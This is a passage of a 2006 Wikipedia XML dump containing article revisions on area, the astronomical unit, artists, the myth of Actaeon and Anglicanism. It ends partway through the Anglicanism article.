[[Category:Formal methods people|Turing, Alan]]
[[Category:LGBT history of the United Kingdom|Turing, Alan]]
[[Category:Lesbian, gay, bisexual, or transgender people|Turing, Alan]]
[[Category:Suicides|Turing, Alan]]
[[Category:Old Shirburnians|Turing, Alan]]

[[af:Alan Turing]]
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[[zh:艾伦·图灵]]</text>
    </revision>
  </page>
  <page>
    <title>Area</title>
    <id>1209</id>
    <revision>
      <id>41919041</id>
      <timestamp>2006-03-02T16:48:44Z</timestamp>
      <contributor>
        <username>Oleg Alexandrov</username>
        <id>153314</id>
      </contributor>
      <minor />
      <comment>revert inappropriate links</comment>
      <text xml:space="preserve">:''This article explains the meaning of area as a [[physical quantity]]. The article [[area (geometry)]] is more mathematical. See also [[area (disambiguation)]].''

'''Area''' is a physical [[quantity]] expressing the size of a part of a [[surface]]. '''Surface area''' is the summation of the areas of the exposed sides of an [[object (philosophy)|object]]. 

== Units ==

Units for measuring surface area include:
:[[square metre]] = [[SI derived unit]]
:[[are]] = 100 square metres
:[[hectare]] = 10,000 square metres
:[[square kilometre]] = 1,000,000 square metres
:square megametre = 10&lt;sup&gt;12&lt;/sup&gt; square metres

[[Imperial unit]]s, as currently defined from the metre:
:[[square foot]] (plural square feet) = 0.09290304 square metres
:[[square yard]] = 9 square feet = 0.83612736 square metres
:square [[perch]] = 30.25 square yards = 25.2928526 square metres
:[[acre]] = 160 square perches or 43,560 square feet = 4046.8564224 square metres
:[[square mile]] = 640 acres = 2.5899881103 square kilometres

Old European area units, still in used in some private matters (e.g. land sale advertisements)
:square [[fathom]]or fahomia in some sources = 3.5967 square metres
:[[cadastral]] moon(acre) = 1600� square fathoms = 5755 square metres

The article [[Orders of magnitude]] links to lists of [[orders of magnitude (area)|objects of comparable surface area]].

==Useful formulas==
*Area of a [[rectangle]] (and, in particular, a [[square (geometry)|square]]): [[length]] &amp;times; [[width]]
*Area of a [[triangle]]: [[½]] &amp;times; [[base]] &amp;times; [[height]]
*Area of a [[disk (mathematics)|disk]]: [[pi|&amp;pi;]] &amp;times; [[radius|r]]²
*Area of an [[ellipse]]: [[pi|&amp;pi;]] &amp;times; [[semi-major axis|a]] &amp;times; [[semi-minor axis|b]]
*Area of a [[sphere]]: 4 &amp;times; [[pi|&amp;pi;]] &amp;times; [[radius|r]]² = &amp;pi; &amp;times; [[diameter|d]]² (which is the first [[derivative]] of the [[formula]] for [[volume]] of a [[sphere]])
*Area of a [[trapezoid]]: If a and b are the two parallel sides and h is the distance (height) between the parallels, the area formula is as below:
:&lt;math&gt;A=\frac{1}{2}(a+b)h&lt;/math&gt; or &lt;math&gt;A=\frac{h(a+b)}{2}&lt;/math&gt;
*Total surface area of a [[right circular cylinder]]: 2 &amp;times; [[pi| &amp;pi;]] &amp;times; [[radius|r]] &amp;times; ([[height|h]] + [[radius|r]])
*Lateral surface area of a [[right circular cylinder]]: 2 &amp;times; [[pi| &amp;pi;]] &amp;times; [[radius|r]] &amp;times; [[height|h]]
*Total surface area of a [[right circular cone]]: [[pi| &amp;pi;]] &amp;times; [[radius|r]] &amp;times; ([[slant height|l]] + [[radius|r]])
*Lateral surface area of a [[right circular cone]]: [[pi| &amp;pi;]] &amp;times; [[radius|r]] &amp;times; [[slant height|l]]

&lt;!--The total surface area and lateral surface area of a right circular cylinder and cone formulae were taken from R.S. Aggarwal's Mathematics for Class 8--&gt;
&lt;!--
a table of areas&lt;-&gt;diameters isn't exactly very relevant here. and statements of currents are meaningless without information on the cable type ambient temperature and installation conditions.
==Cross sectional area (CSA) of electrical wire==

Rough figures for the cross sectional area of copper conductor:

 CSA (mm²)     diameter (mm)          current (A)
  1.0             2.8                  13
  1.5             3.5                  17
  2.5             4.2                  24
  4.0             4.8                  32
  6.0             5.4                  41
 10.0             6.8                  55
 16.0             8.0                  74
 25.0             9.8                  97 --&gt;

[[Category:Area|*]]

[[als:Fläche]]
[[ar:مساحة]]
[[bg:Площ]]
[[be:Плошча]]
[[ca:Àrea]]
[[cs:Povrch]]
[[da:Areal]]
[[de:Fläche]]
[[et:Pindala]]
[[el:Έκταση]]
[[eo:Areo]]
[[fa:مساحت]]
[[fi:Pinta-ala]]
[[fo:Vídd]]
[[fr:Superficie]]
[[gu:ક્ષેત્રફળ]]
[[he:שטח]]
[[hr:Površina]]
[[ia:Superficie]]
[[io:Areo]]
[[is:Flatarmál]]
[[ja:面積]]
[[ka:ფართობი]]
[[ko:면적]]
[[la:Area]]
[[lv:Platība]]
[[lt:Plotas]]
[[li:Oppervlak]]
[[mg:Velarantany]]
[[nl:Oppervlakte]]
[[nn:Flatevidd]]
[[no:Areal]]
[[pl:Powierzchnia]]
[[pt:Área]]
[[ru:Площадь]]
[[simple:Area]]
[[sl:Površina]]
[[sv:Ytmått]]
[[th:พื้นที่]]
[[uk:Площа]]
[[vi:Diện tích]]
[[zh:面积]]
[[zh-min-nan:Bīn-chek]]</text>
    </revision>
  </page>
  <page>
    <title>Astronomical unit</title>
    <id>1210</id>
    <revision>
      <id>41421590</id>
      <timestamp>2006-02-27T05:16:45Z</timestamp>
      <contributor>
        <username>Jeffrey O. Gustafson</username>
        <id>158658</id>
      </contributor>
      <minor />
      <comment>/* History */ punctpov</comment>
      <text xml:space="preserve">The '''astronomical unit''' ('''AU''' or '''au''' or '''a.u.''' or sometimes '''ua''') is a unit of [[distance]], approximately equal to the [[mean]] distance between [[Earth]] and [[Sun]]. The currently accepted value of the AU is 149 597 870 691 ± 30 metres (about 150 million kilometres or 93 million miles).

The symbol &quot;ua&quot; is recommended by the [[Bureau International des Poids et Mesures]] [http://www.bipm.org/en/si/si_brochure/chapter4/table7.html], but in the United States and other anglophone countries the reverse usage is more common. The [[International Astronomical Union]] recommends &quot;au&quot; [http://www.iau.org/IAU/Activities/nomenclature/units.html] and [[international standard]] [[ISO 31-1]] uses &quot;AU&quot;.

== The distance ==

Earth's [[orbit]] is not a [[circle]] but an [[ellipse]]; originally, the AU was defined as the [[length]] of the [[semimajor axis]] of said orbit. For greater precision, the International Astronomical Union in [[1976]] defined the AU as the distance from the Sun at which a [[test particle|particle]] of negligible [[mass]], in an unperturbed circular orbit, would have an [[orbital period]] of 365.256 898 3 days (a [[Gaussian year]]). More accurately, it is the distance such that the heliocentric [[gravitational constant]] (the product GM&lt;sub&gt;&amp;#9737;&lt;/sub&gt;) is equal to (0.017 202 098 95)² AU³/d².

==History==

[[Aristarchus of Samos]] estimated the distance to the Sun to be about 20 times the distance to the moon, whereas the true ratio is about 390. His estimate was based on the angle between the half moon and the sun, which he estimated as 87&amp;deg;.

According to [[Eusebius of Caesarea]] in the ''[[Praeparatio Evangelica]]'', [[Eratosthenes]] found the distance to the sun to be &quot;σταδιων μυριαδας τετρακοσιας και οκτωκισμυριας&quot; (literally &quot;of stadia myriads 400 and 80000&quot;). This has been translated either as 4,080,000 [[stadia]] (1903 translation by [[E. H. Gifford]]), or as 804,000,000 stadia (edition of [[Edouard des Places]], dated 1974-1991). Using the Greek stadium of 185 metres, the former translation comes to a far-too-low 755,000 km, whereas the second translation comes to a very accurate 149 million km.

At the time the AU was introduced, its actual value was very poorly known, but planetary distances in terms of AU could be determined from heliocentric geometry and [[Kepler's laws of planetary motion]]. The value of the AU was first estimated by [[Jean Richer]] and [[Giovanni Domenico Cassini]] in [[1672]]. By measuring the [[parallax]] of [[Mars (planet)|Mars]] from two locations on the Earth, they arrived at a figure of about 140 million kilometers.

A somewhat more accurate estimate can be obtained by observing the [[transit of Venus]].
This method was devised by [[Edmond Halley]], and applied to the transits of Venus observed in [[1761]] and [[1769]], and then again in [[1874]] and [[1882]].

Another method involved determining the constant of [[aberration of light|aberration]], and [[Simon Newcomb]] gave great weight to this method when deriving his widely accepted value of 8.80&quot; for the [[solar parallax]] (close to the modern value of 8.794 148&quot;).

The discovery of the [[near-Earth asteroid]] [[433 Eros]] and its passage near the Earth in [[1900]]&amp;ndash;[[1901]] allowed a considerable improvement in parallax measurement. More recently very precise measurements have been carried out by [[radar]] and by [[telemetry]] from [[space probe]]s.

While the value of the astronomical unit is now known to great precision, the value of the mass of the Sun is not, because of uncertainty in the value of the [[gravitational constant]]. Because the gravitational constant is known to only five or six significant digits while the positions of the planets are known to 11 or 12 digits, calculations in celestial mechanics are typically performed in solar masses and astronomical units rather than in kilograms and kilometres. This approach makes all results dependent on the gravitational constant. A conversion to [[SI]] units would separate the results from the gravitational constant, at the cost of introducing additional uncertainty by assigning a specific value to that unknown constant.

It is known that the mass of the Sun is very slowly decreasing, and therefore the orbital period of a body at a given distance is increasing. This implies that the AU is getting smaller (by about one centimetre per year) over time.

== Examples ==

The distances are approximate mean distances. It has to be taken into consideration that the distances between [[astronomical object|celestial bodies]] change in [[time]] due to their [[orbit]]s and other factors.

* The [[Earth]] is 1.00 ± 0.02 AU from the [[Sun]].
* The [[Moon]] is 0.0026 ± 0.0001 AU from the Earth.
* [[Mars (planet)|Mars]] is 1.52 ± 0.14 AU from the Sun.
* [[Jupiter]] is 5.20 ± 0.05 AU from the Sun.
* [[Pluto (planet)|Pluto]] is 39.5 ± 9.8 AU from the Sun.
* [[90377 Sedna]]'s orbit ranges between 76 and 942 AU from the Sun; Sedna is currently ([[as of 2006]]) about 90 AU from the Sun.
* As of November 2005, [[Voyager 1]] (the farthest [[human]]-made object) is 97 AU from the Sun.
* The mean diameter of the [[Solar system]], including the [[Oort cloud]], is approximately 10&lt;sup&gt;5&lt;/sup&gt; AU.
* [[Proxima Centauri]] (the nearest [[star]]) is ~268 000 AU away from the Sun.
* The mean diameter of [[Betelgeuse]] is 2.57 AU.
* The distance from the Sun to the centre of the [[Milky Way]] is approximately 1.7×10&lt;sup&gt;9&lt;/sup&gt; AU.

Some conversion factors:
* 1 AU = 149 597 870.691 ± 0.030 km &amp;#8776; 92 955 807 miles &amp;#8776; 8.317 [[light-year|light minutes]] &amp;#8776; 499 [[light-second]]s
* 1 [[light-second]] &amp;#8776; 0.002 AU
* 1 [[light-minute]] &amp;#8776; 0.120 AU
* 1 [[light-hour]] &amp;#8776; 7.214 AU
* 1 [[light-day]] &amp;#8776; 173 AU
* 1 [[light-year]] &amp;#8776; 63 241 AU
* 1 [[parsec|pc]] &amp;#8776; 206 265 AU

== See also ==

* [[Conversion of units]]
* [[Light year]]
* [[Orders of magnitude]]
* [[Parsec]]

== References ==

* E. Myles Standish. &quot;Report of the IAU WGAS Sub-group on Numerical Standards&quot;. In ''Highlights of Astronomy'', I. Appenzeller, ed. Dordrecht: Kluwer Academic Publishers, 1995. ''(Complete report available online: [http://ssd.jpl.nasa.gov/iau-comm4/iausgnsrpt.ps PostScript]. Tables from the report also available: [http://ssd.jpl.nasa.gov/astro_constants.html Astrodynamic Constants and Parameters])''
* D. D. McCarthy ed., IERS Conventions (1996), IERS Technical Note 21, Observatoire de Paris, July 1996

== External links ==

* [http://physics.nist.gov/cuu/Units/outside.html Units outside the SI] ''(at the [[NIST]] web site)''
* [http://www.iau.org/IAU/Activities/nomenclature/units.html Recommendations concerning Units] ''(at the [[International Astronomical Union|IAU]] web site)''
* [http://home.comcast.net/~pdnoerd/SMassLoss.html Solar Mass Loss, the Astronomical Unit, and the Scale of the Solar System] ''(a discussion of the relation between the AU and other quantities)''

[[Category:Celestial mechanics]]
[[Category:Astronomical units of length]]

[[bg:Астрономическа единица]]
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[[eu:Unitate astronomiko]]
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    </revision>
  </page>
  <page>
    <title>Artist</title>
    <id>1212</id>
    <revision>
      <id>41253429</id>
      <timestamp>2006-02-26T02:12:51Z</timestamp>
      <contributor>
        <username>Dianawild</username>
        <id>992393</id>
      </contributor>
      <text xml:space="preserve">{{wiktionary}}
{{wikiquote}}
'''Artist''' is a descriptive term applied to a person who engages in an activity deemed to be an [[art]]. It is also used in a qualitative sense of a person [[creativity|creative]] in, [[innovation|innovative]] in, or adept at, an artistic practice.

Most often, the term describes those who create within a context of 'high culture', activities such as [[drawing and painting]], [[sculpture]], [[acting]], [[dancing]], [[writing]], [[filmmaking]] and [[music]] &amp;mdash; people who use imagination, and talent or skill, to create works that can be judged to have an [[aesthetic]] value. [[Art history|Art historians]] and [[Art critic| critics]] will define as artists those who produce [[art]] within a recognised or recognisable discipline.

The term is also used to denote highly skilled people in non-&quot;arts&quot; activities, as well &amp;mdash; crafts, medicine, alchemy, mechanics, mathematics, defense (martial arts) and architecture, for example. The designation is applied to illegal activities, like a &quot;scam artist&quot;. The term 'artist' could also refer to a con artist.

There is no consensus about what constitutes &quot;art&quot; or who is, or is not, an &quot;artist&quot;. Often, discussions on the subject focus on the differences between &quot;artist&quot; and &quot;[[Technician|technician]]&quot; or &quot;[[Entertainer|entertainer]],&quot; or &quot;[[Artisan|artisan]],&quot; &quot;[[fine arts|fine art]]&quot; and &quot;[[Applied art|applied art]],&quot; or what constitutes art and what does not.  In addition, the [[French language|French]] word '''artiste''' (which in French, simply means &quot;artist&quot;) has been imported into the [[English language]]; in English-usage it has connotations (some of them derogatory) which differ somewhat from the English term [[artist]].

The Oxford English dictionary, cites broad meanings of the term &quot;artist,&quot;

:* A learned person or Master of Arts.
:* One who pursues a practical science, traditionally medicine, astrology, alchemy, chemistry.
:* A follower of a pursuit in which skill comes by study or practice - the opposite of a theorist.
:* A follower of a manual art, such as a mechanic.
:* One who makes their [[craft]] a fine art.
:* One who cultivates one of the fine arts - traditionally the arts presided over by the [[muses]].

(referenced from: {{cite book | author=C. T. Onions | title=The Shorter Oxford English Dictionary | publisher=Clarendon Press Oxford | year=1991 | id=ISBN 0-19-861126-9}})

In Greek the word &quot;techn&amp;#283;&quot; is often mistranslated into &quot;art.&quot; In actuality, &quot;techn&amp;#283;&quot; implies mastery of a craft (any craft.)  The Latin-derived form of the word is &quot;tecnicus&quot;, from which the English words [[technique]], [[technology]], [[technical]] are derived. Our word art is derived from the Latin &quot;ars&quot;, which, though literally defined means &quot;skill method&quot; or &quot;technique&quot;, holds a connotation of [[beauty]]. 

Many contemporary definitions of &quot;artist&quot; and &quot;art&quot; are highly contingent on [[culture]], resisting aesthetic prescription, in much the same way that the features constituting [[beauty]] and the beautiful cannot be easily standardized without corruption into [[kitsch]].


== Examples of art and artist ==

*[[Actor]]: [[Laurence Olivier]]
*[[Architect]]: [[Antoni Gaudí]]
*[[Ballet]]: [[Vaslav Nijinsky]]
*[[Calligraphy]]: [[Hokusai]]
*[[Choreographer]]: [[Martha Graham]]
*[[Composer]]: [[Giuseppe Fortunino Francesco Verdi]]
*[[Conceptual Art]]: [[Vanessa Beecroft]]
*[[Dancer]]: [[Isadora Duncan]]
*[[Entertainer]]: [[PT Barnum]]
*[[Fashion designer]]: [[Pierre Cardin]]
*[[Figure Skating|Figure Skater]]:[[Michelle Kwan]]
*[[Game designer]]: [[Shigeru Miyamoto]]
*[[Horticulture]]: [[André le Nôtre]]
*[[Illusionist]]: [[Houdini]]
*[[Industrial designer]]: [[Pininfarina]]
*[[Jeweller]]: [[Fabergé]]
*[[Movie director]]: [[Sergei Eisenstein]]
*[[Muralist]]: [[Diego Rivera]]
*[[Musician]]:  [[Niccolo Paganini]]
*[[Novelist]]: [[Dostoevsky]]
*[[Musical instrument|Musical instrument maker]]: [[Stradivari]]
*[[Orator]]: [[Cicero]]
*[[Painter]]: [[Pablo Ruiz Picasso]]
*[[Photographer]]: [[Robert Mapplethorpe]]
*[[Pianist]]: [[Glenn Gould]]
*[[Playwright]]: [[Harold Pinter]]
*[[Poet]]: [[William Shakespeare]]
*[[Potter]]: [[Peter Voulkos]]
*[[Singer]]: [[Nico]]
*[[Sculpture|Sculptor]]: [[Michelangelo Buonarotti]]
*[[Storyteller]]: [[1001_Arabian_Nights|el-Gahshigar]]


[[Category:Artists| ]]
[[Category:Art and design workers]]
[[Category:Aesthetics]]

[[cs:Umělec]]
[[cy:Arlunydd]]
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[[eo:Artisto]]
[[fr:Artiste]]
[[ko:미술가]]
[[id:Artis]]
[[iu:ᑕᑯᒥᓇᖅᓕᐅᖅᑎᑦ]]
[[he:אמן]]
[[lt:Artistas]]
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[[ms:Artis]]
[[nl:Artiest]]
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[[sq:Artisti]]
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[[sv:Konstnär]]
[[uk:Художник]]
[[zh:艺术家]]</text>
    </revision>
  </page>
  <page>
    <title>Actaeon</title>
    <id>1213</id>
    <revision>
      <id>41064001</id>
      <timestamp>2006-02-24T20:51:50Z</timestamp>
      <contributor>
        <username>Unyoyega</username>
        <id>460372</id>
      </contributor>
      <minor />
      <comment>fixing interwikis  +: lb</comment>
      <text xml:space="preserve">[[Image:Aktation, Nordisk familjebok.png|thumb|Actaeon and his dogs]]
In [[Greek mythology]], '''Actaeon''' (or '''Aktaion'''), son of [[Aristaeus]] and [[Autonoe]] in [[Boeotia]], was a hunter who suffered the wrath of [[Artemis]].

Artemis was bathing in the woods near Boeotian [[Orchomenus (town)|Orchomenos]] when the hunter Actaeon stumbled across her, thus seeing her naked.  He stopped and stared, amazed at her ravishing beauty.  When she saw him, Artemis punished him by declaring that he must never speak again — if he tried to speak, he would be changed into a [[Deer (mythology)|stag]] — for his unlucky profanation of her virgin's mysteries. Upon hearing his hunting group calling to him, he cried out to them and immediately was changed into a stag. His own hounds turned upon him instantly and killed him.  He was torn apart.   The hounds were so upset with their master's death, that [[Chiron]] made a statue so lifelike that the hounds thought it was Actaeon.

There are various other versions: [[Bibliotheca (Pseudo-Apollodorus)|Apollodorus]] states that his offence was that he was a rival of [[Zeus]] for [[Semele]] (who was also his aunt), while in [[Euripedes]] ''Bacchae'' he boasts that he is better hunter than Artemis. 

&lt;table&gt;&lt;tr&gt;&lt;td&gt;
:ὁρᾷς τὸν Ἀκτέωνος ἄθλιον μόρον,
:ὃν ὠμόσιτοι σκύλακες ἃς ἐθρέψατο
:διεσπάσαντο, κρείσσον' ἐν κυναγίαις
:Ἀρτέμιδος εἶναι κομπάσαντ', ἐν ὀργάσιν.
&lt;td&gt;
:Look at Actaeon's wretched fate
:who by the man-eating hounds he had raised,
:was torn apart, better at hunting
:than Artemis he had boasted to be, in the meadows.
&lt;/table&gt;

[[Diodorus Siculus]] has it that Actaeon wanted to marry Artemis.  Other authors say the hounds were Artemis' own. 

== Actaeon in art ==
{{Commonscat|Actaeon}}

Actaeon torn by his hounds is a common theme in [[5th century BC]] Greek art: in some [[red-figure pottery|vase painting]]s  he is shown wearing a deerskin, in others antlers sprout from his head. Pictures of Artemis surprised by Actaeon while bathing are found among [[Pompeii|Pompeian]] wall paintings.

&lt;!--[[Image:Tizian 001.jpg|thumb|Titian: ''Diana suprised by Actaeon while bathing'']]--&gt;
The theme was one of many revived in the [[Renaissance]].  See for example:

*[http://www.nationalgallery.org.uk/cgi-bin/WebObjects.dll/CollectionPublisher.woa/wa/work?workNumber=NG6420 ''The Death of Actaeon''], by [[Titian]]

==References==

* ''The [[Oxford Classical Dictionary]]'', ''s.v.'' &quot;Actaeon&quot;
* [[Ovid]], ''[[Metamorphoses (poem)|Metamorphoses]]'', 3.138ff
* [[Euripedes]], ''[[The Bacchae|Bacchae]]'', 337–40
* [[Diodorus Siculus]] 4.81.4


[[Category:Shapeshifting]]
[[Category:Greek mythological people]]

[[ca:Acteó]]
[[de:Aktaion]]
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[[ru:Актеон]]
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[[uk:Актеон]]</text>
    </revision>
  </page>
  <page>
    <title>Anglicanism</title>
    <id>1214</id>
    <revision>
      <id>42155455</id>
      <timestamp>2006-03-04T04:37:43Z</timestamp>
      <contributor>
        <username>Paul foord</username>
        <id>240061</id>
      </contributor>
      <minor />
      <comment>/* See also */ wl fix</comment>
      <text xml:space="preserve">{{christianity}}
The term '''''Anglican''''' (from [[Anglia]], the [[Latin (language)|Latin]] name for England) describes the people and churches that follow the religious traditions developed by the [[state religion|established]] [[Church of England]]. The [[Anglican Communion]] codifies the Anglican relationship to the Church of England as a theologically broad and often diverging community of churches, which holds the English church as its mother institution.  Adherents of Anglicanism within the [[Anglican Communion]] (that is in communion with the [[See of Canterbury]]) worldwide number around 70 million but there are numerous denominations which consider themselves Anglican but which are out of the Communion.

The issue of [[Catholic]] and [[Protestantism|Protestant]] affiliation is often confusing. Whilst many Anglicans regard themselves as being within the Protestant tradition, many other Anglicans, especially [[Anglo-Catholicism|Anglo-Catholics]], do not consider themselves as Protestants.  The Church of England claims explicitly that the Church &quot;upholds the catholic faith.&quot; (The Athanasian Creed states &quot;And the catholic faith is this: That we worship one God in Trinity, and Trinity in Unity; Neither confounding the persons, nor dividing the substance.&quot;  The phrase &quot;catholic church&quot; by definition means the universal Christian Church but also holds the sense of the &quot;church in its fullness&quot; ). 

Ultimately, the Anglican Church considers itself as being both catholic (stressing its continuity with the ancient Church), and Reformed / Protestant (noting that the Church does not accept the universal infallible authority of the Pope). The conduct of eucharistically-centred worship services is in keeping with the catholic liturgical tradition and the Communion emphasises its status of [[full communion]] with the [[Old Catholic Church|Old-Catholic Utrecht Union]] &amp;mdash; a small community of churches which split from the [[Roman Catholic Church]] in [[1870]] over the doctrine of papal infallibility.  On the other hand, the development of Anglicanism as a distinctive theological tradition is also deeply connected with the [[Protestant Reformation]]. 

As with the [[Eastern Orthodox Church|Orthodox]] and [[Roman Catholic Church|Roman Catholic]] churches (but unlike most Protestant churches), Anglicans claim authority within the church through [[apostolic succession]] from the first followers of [[Jesus]].  The Anglican-Roman Catholic International Consultation actually reached agreement on the doctrine of the ministry in their Elucidation of 1979 [http://www.prounione.urbe.it/dia-int/arcic/doc/e_arcic_elucid_min.html], but the [[Roman Catholic Church]] continues to hold that Anglican Orders are not &quot;valid.&quot; In contrast, Anglican Orders are recognized as valid by the [[Old Catholic Church|Old-Catholics]] and [[Lutheran]]s, communions which also consider themselves &quot;the Catholic Church.&quot; Anglicans traditionally date their church back at least to its first Archbishop of Canterbury, [[Augustine of Canterbury|Saint Augustine of Canterbury]], in the 6th century and even centuries earlier to the [[Roman Britain|Roman occupation]]. Many Anglicans point out that Christian missionaries existed in the British lands from the 1st century, with bishops established at Glastonbury by commission from the Apostle Philip. They consider [[Celtic Christianity]] a prefix of their faith, since many Celtic elements remained, even after the Synod of Whitby conformed to Roman customs (well after the establishment of the Canterbury See). They also point out that bishops from the British Isles participated in the early Ecumenical Councils - most significantly [[Pelagius]], the monk who was almost successful in stopping [[Original Sin]] from becoming an official Church doctrine.

== Origins ==
''See also: [[History of the Church of England]]'' 

While Anglicans acknowledge that the [[schisms|schism]] from papal authority under [[Henry VIII of England]] led to the Church of England existing as a separate entity, they also stress its continuity with the pre-Reformation Church of England. The organisational machinery of the Church of England was in place by the time of the Synod of Hertford in 672-673 AD when the English bishops were for the first time able to act as one body under the leadership of the Archbishop of Canterbury.  Since the [[Elizabethan Religious Settlement]] the [[Church of England]] has enjoyed a heritage that is both Catholic and Protestant  with the British monarch as its [[Supreme Governor]].  Contrary to much popular belief, the  British monarch is not the constitutional &quot;Head&quot; of the Church of England and it is incorrect to refer to the monarch as such.  The monarch has no constitutional role in Anglican churches in other parts of the world although the prayer books of several countries maintain prayers for &quot;Our Sovereign Lady Elizabeth,&quot; and the versicle at [[Morning Prayer]] &quot;O Lord save the Queen,&quot; which in the United States prayer book, for example, is altered to &quot;O Lord save the state.&quot;

{{Anglicanism}}
Nonetheless, the [[English Reformation]] was initially driven by the dynastic goals of [[Henry VIII of England]], who, in his quest for a queen to bear him a male heir, found it necessary and profitable to replace the [[Papacy]] with the English crown. Henry's need for a legitimate male heir was real. England's previous experience in the twelfth century of rule by a queen had been a disaster that no-one wished to see repeated. (see [[Empress Matilda]]) It was not Henry's intention to found a new church.  He was well informed enough about history to know that the powers he was claiming were those which had been exercised by European monarchs over the church in their dominions since the time of Constantine and that what had changed since then had been the growth of papal power.  The [[Act of Supremacy]] put Henry at the head of the church in [[1534]], while acts such as the [[Dissolution of the Monasteries]] put huge amounts of church land and property into the hands of [[the Crown]] and ultimately into those of the English nobility.  These created vested interests which made a powerful material incentive to support a separate Christian church in England  under the rule of the Monarch.  The theological justification for Anglican distinctiveness was begun by the [[Archbishop of Canterbury]] [[Thomas Cranmer]] and continued by other thinkers such as [[Richard Hooker (theologian)|Richard Hooker]] and [[Lancelot Andrewes]].  Cranmer had studied in Europe and was influenced by the ideas of the [[Protestant Reformation|Reformation]] and had also married despite being a priest.  Because Cranmer and other leaders of the Church of England had been ordained by bishops in the [[Apostolic Succession]], and passed on that ordination to their successors, Anglicans consider that they have retained the historic apostolic succession, but differ as to how significant this is.

During the short reign of [[Edward VI of England |Edward VI]], Henry's son, Cranmer was able to move the Church of England significantly towards a more Protestant [[Calvinist]] position.  The first [[Book of Common Prayer]] dates from this period. This reform was reversed abruptly in the subsequent reign of [[Mary I of England|Queen Mary]].  Only under [[Elizabeth I of England|Queen Elizabeth I]] was the English church established as a reformed Catholic church that was accepting of Calvinistic and Evangelical theology.

In the 16th century religious life was an important part of the cement which held society together.  Differences in religion were likely to lead to civil unrest at the very least, with treason and foreign invasion possibly thrown in as well.  Elizabeth's solution to the problem of minimising bloodshed over religion in her dominions was a [[Elizabethan Religious Settlement|religious settlement]] which prescribed a fixed, sparer form of worship, in the vernacular, in which everyone was expected to take part, i.e. ''common prayer'', but a belief system formulated in a way that would allow people with different understandings of what the Bible taught to give assent. The Protestant principle that all things must be proved by scripture was endorsed in article VI of the [[Thirty-nine Articles]], so that no one could be required to believe anything unless it could be clearly proved from the Scriptures. This did recognise that there were areas where the Bible did not give clear cut teaching, where differences of opinion among Christians were legitimate. The bulk of the population was willing to go along with Elizabeth's religious settlement, but extremists at both ends of the theological spectrum would have nothing to do with it, and cracks in the façade of religious unity in England were appearing.   

For the next century there were significant swings back and forth between the [[Puritan]]s and those with a less Reformed understanding of Anglicanism. It must be understood that the concept of religious freedom was in those days neither understood nor accepted by many people, and that the groups involved in the struggle were aiming for control, not freedom. By continental standards the level of violence over religion was not high, but among the casualties were a king ([[Charles I of England|Charles I]]) and an Archbishop of Canterbury ([[William Laud]]). The final outcome in [[1660]] after the [[English Restoration|Restoration]] of [[Charles II of England|Charles II]] was not too far removed from the Elizabethan ideal. One difference was that the ideal of encompassing all the people of England in one religious organisation, taken for granted by the [[Tudors]], had to be abandoned. The religious landscape of England assumed its present form, with an Anglican established church occupying the middle ground, and the two extremes, Roman Catholic and those Puritans who dissented from the establishment, too strong to be suppressed altogether, having to continue their existence outside the national church, rather than controlling it. The English Reformation may be said to have ended at this point.  

The Elizabethan settlement failed in that it was never able to gain the assent of the entire English people. Yet as the Anglican form of Christianity is now flourishing in many parts of the world far away from England it may possibly have succeeded beyond the wildest expectations of anybody alive in the sixteenth and seventeenth centuries.

==Leadership==

The [[Archbishop of Canterbury]] has a precedence of honour over the other archbishops of the Anglican Communion. He is recognised as [[primus inter pares]], or first amongst equals. The Archbishop of Canterbury, however, does not exercise any direct authority in the provinces outside England. The current Archbishop of Canterbury, [[Rowan Williams]], as former [[Archbishop of Wales]], is the first primate appointed from outside the Church of England since the Reformation. All Anglican priests have Apostolic Succession.

Since the reign of [[Henry VIII of England|Henry VIII]] ultimate authority in the [[Church of England]] has been vested in the reigning monarch. Since the time of [[Elizabeth I of England|Elizabeth I]] the sovereign's title has been 'Supreme Governor' rather than 'Head' of the Church of England. In practice this means that the monarch has the responsibility of seeing that the administrative machinery of the church is running smoothly, and in particular that new bishops are appointed when needed. Today this responsibility is discharged by the Prime Minister. Anglican churches outside England do not have this relationship with the British monarch, however it remains the case that the Archbishop of Canterbury, leader of the worldwide Anglican Communion, is appointed by [[the Crown]] of the United Kingdom (in theory; in practice by the [[Prime Minister of the United Kingdom|Prime Minister]]).

==Churches==
Anglicanism is most commonly identified with the established [[Church of England]], but Anglican churches exist in most parts of the world. In some countries (e.g., the [[United States]], [[Scotland]]) the Anglican church is known as Episcopal, from the Latin ''episcopus'', &quot;[[bishop]]&quot;, which comes from a [[Greek language|Greek]] word literally meaning an &quot;overseer.&quot; Some Anglican churches are not in communion with the Archbishop of Canterbury but consider themselves ''Anglican'' because they retain practices of the Church of England and the [[Book of Common Prayer]].

Each [[national church]] or [[province (Anglican)|province]] is headed by a [[Primate (religion)|Primate]] called a [[Primus of Scotland|Primus]] in the [[Scottish Episcopal Church]], an [[Archbishop]] in most countries, a [[Presiding Bishop]] in the [[Episcopal Church in the United States of America|Episcopal Church USA]] and a Prime Bishop in the Philippine Episcopal Church.  These churches are divided into a number of dioceses, usually corresponding to state or metropolitan divisions.

There are three orders of the ordained ministry: [[deacon]], [[priest]] and [[bishop]]. No requirement is made for [[clerical celibacy]] and women may be ordained as deacons in almost all provinces, as priests in some, and as bishops in a few provinces. Religious orders of monks, brothers, sisters and nuns were suppressed in England during the Reformation but have made a reappearance in Victorian times and thrive today.

Those Anglican churches &quot;in [[full communion|communion]]&quot; with the See of [[Canterbury, Kent|Canterbury]] constitute the [[Anglican Communion]], a formal organisation made up of churches at the national level.  However, there are a large number of denominations (albeit insignificant in terms of number of adherents) which call themselves Anglican that are known as the &quot;[[Anglican continuing churches|continuing church]]&quot; movement and do not acknowledge the Anglican Communion. They are generally conservative-to-traditionalist and, to a varying degree [[Anglo-Catholicism|Anglo-Catholic]] in their doctrinal orientation, but tend to side politically with [[Evangelicalism|Evangelicals]] of the right; some, however, are at the extreme evangelical end of the churchmanship spectrum, such as the [[Church of England in South Africa]] (not in communion in Canterbury but in communion with the [[Diocese of Sydney]]), and the [[Reformed Episcopal Church]]. They consider the Church of England and the [[Episcopal Church in the United States of America]], as well as some other member churches of the Anglican Communion, to have departed from the historic faith by ordaining women, by ordaining openly gay people, by altering the theological emphases of the 1928 [[Book of Common Prayer]] of the Episcopal Church of the United States or the 1662 Book of Common Prayer of the Church of England, and by loosening the Church's traditional regulations concerning sexual and marital matters. There are also those independent jurisdictions, such as The National Anglican Catholic Church of the United States - which uses Anglican, Catholic and Lutheran principles in their doctrine. In the Indian subcontinent Anglican churches have entered into formal union with evangelical 